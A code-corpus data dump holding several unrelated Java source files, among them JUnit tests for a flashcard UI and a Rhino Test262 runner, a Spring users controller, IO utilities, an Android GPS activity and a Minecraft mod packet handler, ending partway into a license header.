hexsha stringlengths 40 40 | size int64 8 1.04M | content stringlengths 8 1.04M | avg_line_length float64 2.24 100 | max_line_length int64 4 1k | alphanum_fraction float64 0.25 0.97 |
|---|---|---|---|---|---|
39131e12b890b4ab4959b83b30a34253a24533db | 2,877 | package seedu.address.ui;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static seedu.address.ui.testutil.GuiTestAssert.assertListCardDisplaysFlashcard;
import org.junit.Test;
import guitests.guihandles.FlashcardListCardHandle;
import seedu.address.model.flashcard.Flashcard;
import seedu.address.testutil.FlashcardBuilder;
public class FlashcardListCardTest extends GuiUnitTest {
@Test
public void display() {
// no tags
Flashcard flashcardWithNoTags = new FlashcardBuilder().withTags().build();
FlashcardListCard flashcardListCard = new FlashcardListCard(flashcardWithNoTags, 1);
uiPartRule.setUiPart(flashcardListCard);
assertCardDisplay(flashcardListCard, flashcardWithNoTags, 1);
// with tags
Flashcard flashcardWithTags = new FlashcardBuilder().build();
flashcardListCard = new FlashcardListCard(flashcardWithTags, 2);
uiPartRule.setUiPart(flashcardListCard);
assertCardDisplay(flashcardListCard, flashcardWithTags, 2);
}
@Test
public void equals() {
Flashcard flashcard = new FlashcardBuilder().build();
FlashcardListCard flashcardListCard = new FlashcardListCard(flashcard, 0);
// same flashcard, same index -> returns true
FlashcardListCard copy = new FlashcardListCard(flashcard, 0);
assertTrue(flashcardListCard.equals(copy));
// same object -> returns true
assertTrue(flashcardListCard.equals(flashcardListCard));
// null -> returns false
assertFalse(flashcardListCard.equals(null));
// different types -> returns false
assertFalse(flashcardListCard.equals(0));
// different flashcard, same index -> returns false
Flashcard differentFlashcard = new FlashcardBuilder().withFrontFace("differentName").build();
assertFalse(flashcardListCard.equals(new FlashcardListCard(differentFlashcard, 0)));
// same flashcard, different index -> returns false
assertFalse(flashcardListCard.equals(new FlashcardListCard(flashcard, 1)));
}
/**
* Asserts that {@code flashcardListCard} displays the details of {@code expectedFlashcard} correctly and matches
* {@code expectedId}.
*/
private void assertCardDisplay(FlashcardListCard flashcardListCard, Flashcard expectedFlashcard, int expectedId) {
guiRobot.pauseForHuman();
FlashcardListCardHandle flashcardListCardHandle = new FlashcardListCardHandle(flashcardListCard.getRoot());
// verify id is displayed correctly
assertEquals(expectedId + ". ", flashcardListCardHandle.getId());
// verify flashcard details are displayed correctly
assertListCardDisplaysFlashcard(expectedFlashcard, flashcardListCardHandle);
}
}
| 39.410959 | 118 | 0.730275 |
23726c285de431efc3119834ddfbab5dbd65fc24 | 17,180 | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.javascript.tests;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
import static org.mozilla.javascript.drivers.TestUtils.JS_FILE_FILTER;
import static org.mozilla.javascript.drivers.TestUtils.recursiveListFilesHelper;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.Reader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Scanner;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import org.mozilla.javascript.Context;
import org.mozilla.javascript.EvaluatorException;
import org.mozilla.javascript.RhinoException;
import org.mozilla.javascript.Script;
import org.mozilla.javascript.Scriptable;
import org.mozilla.javascript.compat.CompatMaps;
import org.mozilla.javascript.drivers.TestUtils;
import org.mozilla.javascript.tools.FileProvider;
import org.mozilla.javascript.tools.SourceReader;
import org.mozilla.javascript.tools.shell.ShellContextFactory;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.error.YAMLException;
@RunWith(Parameterized.class)
public class Test262SuiteTest {
static final int[] OPT_LEVELS;
static {
if (Utils.HAS_CODEGEN) {
OPT_LEVELS = new int[] {-1, 0, 9};
} else {
OPT_LEVELS = new int[] {-1};
}
}
private static final File testDir = FileProvider.getInstance().getFile("test262/test");
private static final String testHarnessDir = "test262/harness/";
private static final String testProperties = "testsrc/test262.properties";
static Map<Integer, Map<String, Script>> HARNESS_SCRIPT_CACHE = new HashMap<>();
static Map<File, Integer> EXCLUDED_TESTS = new LinkedHashMap<>();
static ShellContextFactory CTX_FACTORY = new ShellContextFactory();
static final Set<String> UNSUPPORTED_FEATURES = new HashSet<>(Arrays.asList(
"Atomics",
"BigInt",
"IsHTMLDDA",
"Promise.prototype.finally",
"Proxy",
"Reflect",
"Reflect.construct",
"Reflect.set",
"Reflect.setPrototypeOf",
"SharedArrayBuffer",
"async-functions",
"async-iteration",
"class",
"class-fields-private",
"class-fields-public",
"computed-property-names",
"cross-realm",
"default-arg",
"default-parameters",
"generators",
"new.target",
"object-rest",
"regexp-dotall",
"regexp-lookbehind",
"regexp-named-groups",
"regexp-unicode-property-escapes",
"super",
"tail-call-optimization",
"u180e"
));
@BeforeClass
public static void setUpClass() {
for (int optLevel : OPT_LEVELS) {
HARNESS_SCRIPT_CACHE.put(optLevel, new HashMap<>());
}
CTX_FACTORY.setLanguageVersion(Context.VERSION_ES6);
TestUtils.setGlobalContextFactory(CTX_FACTORY);
}
@AfterClass
public static void tearDownClass() {
TestUtils.setGlobalContextFactory(null);
for (Map.Entry<File, Integer> entry : EXCLUDED_TESTS.entrySet()) {
if (entry.getValue() == 0) {
System.out.println(String.format("Test is marked as failing but it does not: %s", entry.getKey()));
}
}
}
private static final Pattern EXCLUDE_PATTERN = Pattern.compile("!\\s*(.+)");
private final String testFilePath;
private final int optLevel;
private final boolean useStrict;
private final Test262Case testCase;
private final boolean fails;
public Test262SuiteTest(String testFilePath, int optLevel, boolean useStrict, Test262Case testCase, boolean fails) {
this.testFilePath = testFilePath;
this.optLevel = optLevel;
this.useStrict = useStrict;
this.testCase = testCase;
this.fails = fails;
}
private Scriptable buildScope(Context cx) throws IOException {
Scriptable scope = cx.initSafeStandardObjects();
for (String harnessFile : testCase.harnessFiles) {
if (!HARNESS_SCRIPT_CACHE.get(optLevel).containsKey(harnessFile)) {
String harnessPath = testHarnessDir + harnessFile;
try (Reader reader = FileProvider.getInstance().getReader(harnessPath)) {
HARNESS_SCRIPT_CACHE.get(optLevel).put(harnessFile,
cx.compileReader(reader, harnessPath, 1, null));
}
}
HARNESS_SCRIPT_CACHE.get(optLevel).get(harnessFile).exec(cx, scope);
}
return scope;
}
private static String extractJSErrorName(RhinoException ex) {
if (ex instanceof EvaluatorException) {
// there's no universal format to EvaluatorException's
// for now, just assume that it's a SyntaxError
return "SyntaxError";
}
String exceptionName = ex.details();
if (exceptionName.contains(":")) {
exceptionName = exceptionName.substring(0, exceptionName.indexOf(":"));
}
return exceptionName;
}
@Test
public void test262Case() {
Context cx = Context.enter();
cx.setOptimizationLevel(optLevel);
Scriptable scope;
try {
scope = buildScope(cx);
} catch (Exception ex) {
Context.exit();
throw new RuntimeException("Failed to build a scope with the harness files.", ex);
}
String str = testCase.source;
if (useStrict) {
str = "\"use strict\";\n" + str;
}
boolean failedEarly = true;
try {
Script caseScript = cx.compileString(str, testFilePath, 0, null);
failedEarly = false; // not after this line
caseScript.exec(cx, scope);
if (testCase.isNegative()) {
fail(String.format(
"Failed a negative test. Expected error: %s (at phase '%s')",
testCase.expectedError,
testCase.hasEarlyError ? "early" : "runtime"));
}
if (fails) {
Integer count = EXCLUDED_TESTS.get(testCase.file);
if (count != null) {
count -= 1;
EXCLUDED_TESTS.put(testCase.file, count);
}
}
} catch (RhinoException ex) {
if (fails) {
return;
}
if (!testCase.isNegative()) {
fail(String.format("%s%n%s", ex.getMessage(), ex.getScriptStackTrace()));
}
String errorName = extractJSErrorName(ex);
if (testCase.hasEarlyError && !failedEarly) {
fail(String.format(
"Expected an early error: %s, got: %s in the runtime",
testCase.expectedError,
errorName));
}
assertEquals(ex.details(), testCase.expectedError, errorName);
} catch (Exception ex) {
if (fails) {
return;
}
throw ex;
} catch (AssertionError ex) {
if (fails) {
return;
}
throw ex;
} finally {
Context.exit();
}
}
private static void addTestFiles(List<File> testFiles, Set<File> failingFiles) throws IOException {
List<File> dirFiles = new LinkedList<File>();
try (Scanner scanner = new Scanner(FileProvider.getInstance().getFile(testProperties))) {
int lineNo = 0;
String line = null;
while (line != null || scanner.hasNextLine()) {
// Note, here line could be not null when it
// wasn't handled on the previous iteration
if (line == null) {
line = scanner.nextLine().trim();
lineNo++;
}
if (line.isEmpty() || line.startsWith("#")) {
line = null; // consume the line
continue;
}
File target = new File(testDir, line);
if (!target.exists()) {
if (line.startsWith("!")) {
throw new RuntimeException(
"Unexpected exclusion '" + line + "' at the line #" + lineNo);
}
throw new FileNotFoundException(
"File " + target.getAbsolutePath() + " declared at line #" + lineNo + "('" + line + "') doesn't exist");
}
if (target.isFile()) {
testFiles.add(target);
} else if (target.isDirectory()) {
String curDirectory = line;
recursiveListFilesHelper(target, JS_FILE_FILTER, dirFiles);
// start handling exclusions that could follow
while (scanner.hasNextLine()) {
line = scanner.nextLine().trim();
lineNo++;
if (line.isEmpty() || line.startsWith("#")) {
line = null; // consume the line
continue;
}
Matcher m = EXCLUDE_PATTERN.matcher(line);
if (!m.matches()) {
// stop an exclusion handling loop
break;
}
String excludeSubstr = m.group(1);
int excludeCount = 0;
for (File file : dirFiles) {
String path = file.getPath().replaceAll("\\\\", "/");
if (path.endsWith(excludeSubstr)) {
failingFiles.add(file);
excludeCount++;
}
}
if (excludeCount == 0) {
System.err.format(
"WARN: Exclusion '%s' at line #%d doesn't exclude anything%n",
excludeSubstr, lineNo);
}
// exclusion handled
line = null;
}
testFiles.addAll(dirFiles);
dirFiles.clear();
if (line != null && !line.equals(curDirectory)) {
// saw a different line and it isn't an exclusion,
// so it wasn't handled, let the main loop deal with it
continue;
}
}
// this line was handled
line = null;
}
}
}
@Parameters(name = "js={0}, opt={1}, strict={2}")
public static Collection<Object[]> test262SuiteValues() throws IOException {
List<Object[]> result = new ArrayList<>();
List<File> testFiles = new LinkedList<File>();
Set<File> failingFiles = new HashSet<File>();
addTestFiles(testFiles, failingFiles);
fileLoop:
for (File testFile : testFiles) {
Test262Case testCase;
try {
testCase = Test262Case.fromSource(testFile);
} catch (YAMLException ex) {
throw new RuntimeException("Error while parsing metadata of " + testFile.getPath(), ex);
}
// all the reasons not to execute this file
// even if it's not excluded in the config:
// 1. it requires/tests unsupported features
for (String feature : testCase.features) {
if (UNSUPPORTED_FEATURES.contains(feature)) {
continue fileLoop;
}
}
// 2. it runs in an unsupported environment
if (testCase.hasFlag("module") ||
testCase.hasFlag("async")) {
continue;
}
String caseShortPath = testDir.toURI().relativize(testFile.toURI()).getPath();
for (int optLevel : OPT_LEVELS) {
boolean markedAsFailing = failingFiles.contains(testFile);
if (!testCase.hasFlag("onlyStrict") || testCase.hasFlag("raw")) {
result.add(new Object[]{caseShortPath, optLevel, false, testCase, markedAsFailing});
if (markedAsFailing) {
Integer count = CompatMaps.computeIfAbsent(EXCLUDED_TESTS, testCase.file, k -> 0);
count += 1;
EXCLUDED_TESTS.put(testCase.file, count);
}
}
if (!testCase.hasFlag("noStrict") && !testCase.hasFlag("raw")) {
result.add(new Object[]{caseShortPath, optLevel, true, testCase, markedAsFailing});
if (markedAsFailing) {
Integer count = CompatMaps.computeIfAbsent(EXCLUDED_TESTS, testCase.file, k -> 0);
count += 1;
EXCLUDED_TESTS.put(testCase.file, count);
}
}
}
}
return result;
}
private static class Test262Case {
private static final Yaml YAML = new Yaml();
private final File file;
private final String source;
private final String expectedError;
private final boolean hasEarlyError;
private final Set<String> flags;
private final Set<String> harnessFiles;
private final Set<String> features;
Test262Case(
File file,
String source,
Set<String> harnessFiles,
String expectedError,
boolean hasEarlyError,
Set<String> flags,
Set<String> features) {
this.file = file;
this.source = source;
this.harnessFiles = harnessFiles;
this.expectedError = expectedError;
this.hasEarlyError = hasEarlyError;
this.flags = flags;
this.features = features;
}
boolean hasFlag(String flag) {
return flags.contains(flag);
}
boolean isNegative() {
return expectedError != null;
}
@SuppressWarnings("unchecked")
static Test262Case fromSource(File testFile) throws IOException {
String testSource = (String) SourceReader.readFileOrUrl(testFile.getPath(), true, "UTF-8");
Set<String> harnessFiles = new HashSet<>();
String metadataStr = testSource.substring(
testSource.indexOf("/*---") + 5,
testSource.indexOf("---*/"));
Map<String, Object> metadata = (Map<String, Object>) YAML.load(metadataStr);
if (metadata.containsKey("includes")) {
harnessFiles.addAll((List<String>) metadata.get("includes"));
}
String expectedError = null;
boolean isEarly = false;
if (metadata.containsKey("negative")) {
Map<String, String> negative = (Map<String, String>) metadata.get("negative");
expectedError = negative.get("type");
isEarly = "early".equals(negative.get("phase"));
}
Set<String> flags = new HashSet<>();
if (metadata.containsKey("flags")) {
flags.addAll((Collection<String>) metadata.get("flags"));
}
Set<String> features = new HashSet<>();
if (metadata.containsKey("features")) {
features.addAll((Collection<String>) metadata.get("features"));
}
if (!flags.contains("raw")) {
// present by default harness files
harnessFiles.add("assert.js");
harnessFiles.add("sta.js");
} else if (!harnessFiles.isEmpty()) {
System.err.format(
"WARN: case '%s' is flagged as 'raw' but also has defined includes%n",
testFile.getPath());
}
return new Test262Case(testFile, testSource, harnessFiles, expectedError, isEarly, flags, features);
}
}
}
| 36.709402 | 132 | 0.538184 |
459d24a14ff2b72d4ac8f6999b39fa6edcb4ec71 | 1,960 | package org.fatec.uniqueuserid.users.controller;
import java.util.List;
import com.fasterxml.jackson.annotation.JsonView;
import org.fatec.uniqueuserid.errors.ApiError;
import org.fatec.uniqueuserid.users.User;
import org.fatec.uniqueuserid.users.controller.dto.UserCreationDTO;
import org.fatec.uniqueuserid.users.service.IUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping(value = "/users")
@CrossOrigin(origins = "*")
public class UsersController {
@Autowired
IUserService userService;
@GetMapping(value = "/health", produces = "application/json")
public ResponseEntity<String> hello() {
return new ResponseEntity<String>("Hello", HttpStatus.OK);
}
@PostMapping(value = "", produces = "application/json")
public ResponseEntity<Object> createUser(@RequestBody() UserCreationDTO userDTO) {
try {
User user = userService.create(userDTO);
return new ResponseEntity(user, HttpStatus.OK);
} catch (Exception err) {
ApiError error = new ApiError(HttpStatus.BAD_REQUEST, err.getMessage());
return new ResponseEntity(error, HttpStatus.BAD_REQUEST);
}
}
@CrossOrigin()
@GetMapping(value = "", produces = "application/json")
@JsonView(User.UserData.class)
public ResponseEntity<List<User>> findAll() {
List<User> users = userService.findAll();
return new ResponseEntity(users, HttpStatus.OK);
}
}
| 36.296296 | 86 | 0.744898 |
9a039759cedccc6bc3f82346938c2a879a58cd83 | 5,566 | package cn.xianyijun.planet.utils;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.io.Reader;
import java.io.StringReader;
import java.io.StringWriter;
import java.io.Writer;
import java.util.ArrayList;
import java.util.List;
/**
* The type Io utils.
*/
public class IOUtils {
private static final int BUFFER_SIZE = 1024 * 8;
private IOUtils() {
}
/**
* Write long.
*
* @param is the is
* @param os the os
* @return the long
* @throws IOException the io exception
*/
public static long write(InputStream is, OutputStream os) throws IOException {
return write(is, os, BUFFER_SIZE);
}
/**
* Write long.
*
* @param is the is
* @param os the os
* @param bufferSize the buffer size
* @return the long
* @throws IOException the io exception
*/
public static long write(InputStream is, OutputStream os, int bufferSize) throws IOException {
int read;
long total = 0;
byte[] buff = new byte[bufferSize];
while (is.available() > 0) {
read = is.read(buff, 0, buff.length);
if (read > 0) {
os.write(buff, 0, read);
total += read;
}
}
return total;
}
/**
* Read string.
*
* @param reader the reader
* @return the string
* @throws IOException the io exception
*/
public static String read(Reader reader) throws IOException {
StringWriter writer = new StringWriter();
try {
write(reader, writer);
return writer.getBuffer().toString();
} finally {
writer.close();
}
}
/**
* Write long.
*
* @param writer the writer
* @param string the string
* @return the long
* @throws IOException the io exception
*/
public static long write(Writer writer, String string) throws IOException {
Reader reader = new StringReader(string);
try {
return write(reader, writer);
} finally {
reader.close();
}
}
/**
* Write long.
*
* @param reader the reader
* @param writer the writer
* @return the long
* @throws IOException the io exception
*/
public static long write(Reader reader, Writer writer) throws IOException {
return write(reader, writer, BUFFER_SIZE);
}
/**
* Write long.
*
* @param reader the reader
* @param writer the writer
* @param bufferSize the buffer size
* @return the long
* @throws IOException the io exception
*/
public static long write(Reader reader, Writer writer, int bufferSize) throws IOException {
int read;
long total = 0;
char[] buf = new char[BUFFER_SIZE];
while ((read = reader.read(buf)) != -1) {
writer.write(buf, 0, read);
total += read;
}
return total;
}
/**
* Read lines string [ ].
*
* @param file the file
* @return the string [ ]
* @throws IOException the io exception
*/
public static String[] readLines(File file) throws IOException {
if (file == null || !file.exists() || !file.canRead()) {
return new String[0];
}
return readLines(new FileInputStream(file));
}
/**
* Read lines string [ ].
*
* @param is the is
* @return the string [ ]
* @throws IOException the io exception
*/
public static String[] readLines(InputStream is) throws IOException {
List<String> lines = new ArrayList<String>();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
try {
String line;
while ((line = reader.readLine()) != null) {
lines.add(line);
}
return lines.toArray(new String[0]);
} finally {
reader.close();
}
}
/**
* Write lines.
*
* @param os the os
* @param lines the lines
* @throws IOException the io exception
*/
public static void writeLines(OutputStream os, String[] lines) throws IOException {
PrintWriter writer = new PrintWriter(new OutputStreamWriter(os));
try {
for (String line : lines) {
writer.println(line);
}
writer.flush();
} finally {
writer.close();
}
}
/**
* Write lines.
*
* @param file the file
* @param lines the lines
* @throws IOException the io exception
*/
public static void writeLines(File file, String[] lines) throws IOException {
if (file == null) {
throw new IOException("File is null.");
}
writeLines(new FileOutputStream(file), lines);
}
/**
* Append lines.
*
* @param file the file
* @param lines the lines
* @throws IOException the io exception
*/
public static void appendLines(File file, String[] lines) throws IOException {
if (file == null) {
throw new IOException("File is null.");
}
writeLines(new FileOutputStream(file, true), lines);
}
}
| 26.131455 | 98 | 0.56396 |
1ecf48ed8964e005d30b73a878c980b22d82e087 | 4,436 | package by.mercury.sample;
import by.mercury.core.dao.LessonDao;
import by.mercury.core.dao.ScheduleDao;
import by.mercury.core.dao.SquadMemberDao;
import by.mercury.core.model.LessonModel;
import by.mercury.core.model.ScheduleModel;
import by.mercury.core.model.SquadMemberModel;
import by.mercury.core.model.UserModel;
import by.mercury.core.service.UserService;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.core.Ordered;
import org.springframework.stereotype.Component;
import java.time.LocalDate;
@Component
public class SampleDataGenerator implements ApplicationRunner, Ordered {
private static final int PRIORITY = Ordered.LOWEST_PRECEDENCE;
private static final Long SQUAD = 721700L;
private UserService userService;
private ScheduleDao scheduleDao;
private SquadMemberDao squadMemberDao;
private LessonDao lessonDao;
private String peerId;
public SampleDataGenerator(UserService userService, ScheduleDao scheduleDao,
SquadMemberDao squadMemberDao, LessonDao lessonDao) {
this.userService = userService;
this.scheduleDao = scheduleDao;
this.squadMemberDao = squadMemberDao;
this.lessonDao = lessonDao;
}
@Override
public void run(ApplicationArguments args) throws Exception {
if (!"none".equals(peerId) && userService.findById(Long.valueOf(peerId)).isEmpty()) {
var user = UserModel.builder()
.id(Long.valueOf(peerId))
.uid(peerId)
.peerId(Integer.parseInt(peerId))
.telegramToken("Token")
.build();
user = userService.save(user);
userService.updateNotificationsSettings(user, settings -> settings.setEnableNotificationsTelegram(true));
userService.updateNotificationsSettings(user, settings -> settings.setEnableNotificationsVk(true));
generateSquad(user);
var schedule1 = generateSchedule(2L);
generateLesson(100L, 1, "Название 1", "Преподаватель 1", "Заметка 1", "Тип 1", "1", schedule1);
generateLesson(200L, 2, "Название 2", "Преподаватель 2", "Заметка 2", "Тип 2", "2", schedule1);
generateLesson(300L, 3, "Название 3", "Преподаватель 3", "Заметка 3", "Тип 3", "3", schedule1);
generateLesson(400L, 4, "Название 4", "Преподаватель 4", "Заметка 4", "Тип 4", "4", schedule1);
var schedule2 = generateSchedule(3L);
generateLesson(101L, 1, "Название 1", "Преподаватель 1", "Заметка 1", "Тип 1", "1", schedule2);
generateLesson(201L, 2, "Название 2", "Преподаватель 2", "Заметка 2", "Тип 2", "2", schedule2);
generateLesson(301L, 3, "Название 3", "Преподаватель 3", "Заметка 3", "Тип 3", "3", schedule2);
generateLesson(401L, 4, "Название 4", "Преподаватель 4", "Заметка 4", "Тип 4", "4", schedule2);
}
}
private SquadMemberModel generateSquad(UserModel user) {
var squad = SquadMemberModel.builder()
.id(SQUAD)
.squadId(SQUAD)
.userId(user.getId())
.build();
return squadMemberDao.save(squad);
}
private ScheduleModel generateSchedule(Long scheduleId) {
var schedule = ScheduleModel.builder()
.id(scheduleId)
.squad(SQUAD)
.date(LocalDate.now())
.build();
return scheduleDao.save(schedule);
}
private LessonModel generateLesson(Long id, Integer index, String name, String teacher, String note,
String type, String classroom, ScheduleModel schedule) {
var lesson = LessonModel.builder()
.id(id)
.index(index)
.name(name)
.teacher(teacher)
.note(note)
.type(type)
.classroom(classroom)
.schedule(schedule)
.build();
return lessonDao.save(lesson);
}
@Override
public int getOrder() {
return PRIORITY;
}
@Value("${sample.user.peer.id}")
public void setPeerId(String peerId) {
this.peerId = peerId;
}
}
| 39.256637 | 118 | 0.621957 |
fc9c6b2cccccd632db8b2730bf12047590600057 | 3,304 | package pardo.joseangel.gps;
import android.app.ProgressDialog;
import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.TextView;
public class MainActivity extends ActionBarActivity {
private TextView tvLocation=null;
private ProgressDialog pd =null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
tvLocation=(TextView) findViewById(R.id.tvLocation);
pd = ProgressDialog.show(this,"Location","Esperando coordenadas...");//creo el popaud para que muestre un mensaje de carga
configGPS();
}
private void configGPS()
{
LocationManager mLocarionManager;
LocationListener mLocationListener;
mLocarionManager=(LocationManager) getSystemService(Context.LOCATION_SERVICE);
mLocationListener= new MyLocationListener();
mLocarionManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,//proveedor de gps
5000,//tiempo refrescar
10,//distancia minima variada
mLocationListener);//se ejecuta un codigo cuando se cumple las consdiciones anteriores
}
private void updateScreen(Location location)
{
tvLocation.setText("Latitud="+String.valueOf(location.getLatitude()) + "\n" +
"Longitud="+String.valueOf(location.getLongitude()));
pd.dismiss();//cierro el dialogo de cargando...
}
//creacion de la clase listener
private class MyLocationListener implements LocationListener
{
@Override
public void onLocationChanged(Location location) {//se ejecuta cuando se cumplan las condiciones anteriores
Log.d("Hello GPS","Latitud="+String.valueOf(location.getLatitude()));
Log.d("Hello GPS","Longitud="+String.valueOf(location.getLongitude()));
updateScreen(location);
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {//se ejecuta cuadno varia el estado del gps
}
@Override
public void onProviderEnabled(String provider) {//se ejecuta cuando se activa el gps
}
@Override
public void onProviderDisabled(String provider) {//se ejecuta cuando se desabilita el gps
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
| 33.04 | 130 | 0.682809 |
054930b8520e46f6f822948edb7ad402116713da | 1,269 | /*
* Copyright 2018, Oath Inc.
* Licensed under the terms of the Apache License, Version 2.0.
* See the LICENSE file associated with the project for terms.
*/
package com.yahoo.bullet.bql.tree;
import org.testng.annotations.BeforeClass;
import org.testng.annotations.Test;
import java.util.List;
import static com.yahoo.bullet.bql.util.QueryUtil.simpleSortItem;
import static java.util.Collections.emptyList;
import static java.util.Collections.singletonList;
import static org.testng.Assert.assertEquals;
import static org.testng.Assert.assertFalse;
public class OrderByTest {
private List<SortItem> sortItems;
private OrderBy orderBy;
@BeforeClass
public void setUp() {
sortItems = singletonList(simpleSortItem());
orderBy = new OrderBy(sortItems);
}
@Test(expectedExceptions = IllegalArgumentException.class, expectedExceptionsMessageRegExp = "\\QsortItems should not be empty\\E.*")
public void testEmptySortItems() {
new OrderBy(emptyList());
}
@Test
public void testGetChildren() {
assertEquals(orderBy.getChildren(), sortItems);
}
@Test
public void testEquals() {
assertFalse(orderBy.equals(null));
assertFalse(orderBy.equals(sortItems));
}
}
| 28.2 | 137 | 0.72104 |
8af4f563bbd808b4268931f9a48a3e32ea956485 | 1,067 | package com.starrysky.rikka.packets.message.elementalabilities;
import java.util.function.Supplier;
import net.minecraft.client.Minecraft;
import net.minecraft.network.PacketBuffer;
import net.minecraft.util.Hand;
import net.minecraftforge.fml.network.NetworkEvent;
public class MessageSwingArm {
private final boolean whatHand;
public MessageSwingArm(boolean whatHand) {
this.whatHand = whatHand;
}
public static void encode(MessageSwingArm msg, PacketBuffer buf) {
buf.writeBoolean(msg.whatHand);
}
public static MessageSwingArm decode(PacketBuffer buf) {
return new MessageSwingArm(buf.readBoolean());
}
public static void handle(MessageSwingArm msg, Supplier<NetworkEvent.Context> ctx) {
ctx.get().enqueueWork(() -> {
if(msg.whatHand)
Minecraft.getInstance().player.swingArm(Hand.MAIN_HAND);
else {
Minecraft.getInstance().player.swingArm(Hand.OFF_HAND);
Minecraft.getInstance().player.resetCooldown();
}
});
ctx.get().setPacketHandled(true);
}
} | 26.675 | 85 | 0.716963 |
6945d9dda51ff10084124c88f4943c66c86b5459 | 389 | package com.ruoyi.system.mapper;
import com.ruoyi.system.domain.YdSellerCollect;
import java.util.List;
import java.util.Map;
public interface YdSellerCollectMapper {
int insert(YdSellerCollect record);
int delete(Map<String,Object> param);
int deleteOfBatch(Map<String,Object> param);
int selectCount(YdSellerCollect record);
List<YdSellerCollect> selectAll();
} | 22.882353 | 48 | 0.763496 |
ed90bd3aa169adddbdcdf6cabb1af26f3a849020 | 2,040 | package com.amos.p1.backend.service.normalization.TomTom;
import com.amos.p1.backend.Helper;
import com.amos.p1.backend.data.Incident;
import com.amos.p1.backend.service.normalization.JsonToIncident;
import com.amos.p1.backend.service.normalization.TomTomNormalization;
import org.junit.jupiter.api.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.List;
import static org.junit.jupiter.api.Assertions.assertEquals;
public class BerlinStaticDataTest {
private static final Logger log = LoggerFactory.getLogger(BerlinStaticDataTest.class);
private List<Incident> incidentList;
public BerlinStaticDataTest(){
String json = Helper.getFileResourceAsString("normalization/TomTomData/Berlin.json");
JsonToIncident jsonNormalizer = new TomTomNormalization();
incidentList = jsonNormalizer.normalize(json);
}
@Test
void testIncidentAmount(){
assertEquals(289, incidentList.size());
}
@Test
void testIncidentTypesMapping(){
String json = Helper.getFileResourceAsString("normalization/TomTomData/Berlin.json");
JsonToIncident jsonNormalizer = new TomTomNormalization();
incidentList = jsonNormalizer.normalize(json);
assertEquals("LANERESTRICTION", incidentList.get(0).getType());
}
@Test
void testIncidentStartPositionStreet() {
assertEquals("Spandauer Damm - Fürstenbrunner Weg (Königin-Elisabeth-Straße/L1121)", incidentList.get(0).getStartPositionStreet());
}
@Test
void testStartPointLat() {
assertEquals("52.51831", incidentList.get(0).getStartPositionLatitude());
}
@Test
void testStartPointLong() {
assertEquals("13.28007", incidentList.get(0).getStartPositionLongitude());
}
@Test
void testEndPointLat() {
assertEquals("52.51282", incidentList.get(0).getEndPositionLatitude());
}
@Test
void testEndPointLong() {
assertEquals("13.28139", incidentList.get(0).getEndPositionLongitude());
}
}
| 29.565217 | 139 | 0.722549 |
e750ead81383631e1f373d8e0f790c3dac50d71f | 549 | package unalcol.search.population.variation;
import unalcol.search.space.ArityOne;
import unalcol.types.collection.vector.Vector;
public class RefineOperator<T> extends Operator<T> {
protected ArityOne<T> refining;
protected Operator<T> refined;
public RefineOperator(Operator<T> refined, ArityOne<T> refining) {
this.refined = refined;
this.refining = refining;
}
@SuppressWarnings("unchecked")
@Override
public Vector<T> apply(T... pop) {
return refining.apply(refined.apply(pop));
}
}
| 24.954545 | 70 | 0.699454 |
617d2a3318d31d99cbda64a8a42137af81333c9c | 5,911 | /*
Copyright (c) 2016, Shanghai YUEWEN Information Technology Co., Ltd.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of Shanghai YUEWEN Information Technology Co., Ltd.
* nor the names of its contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
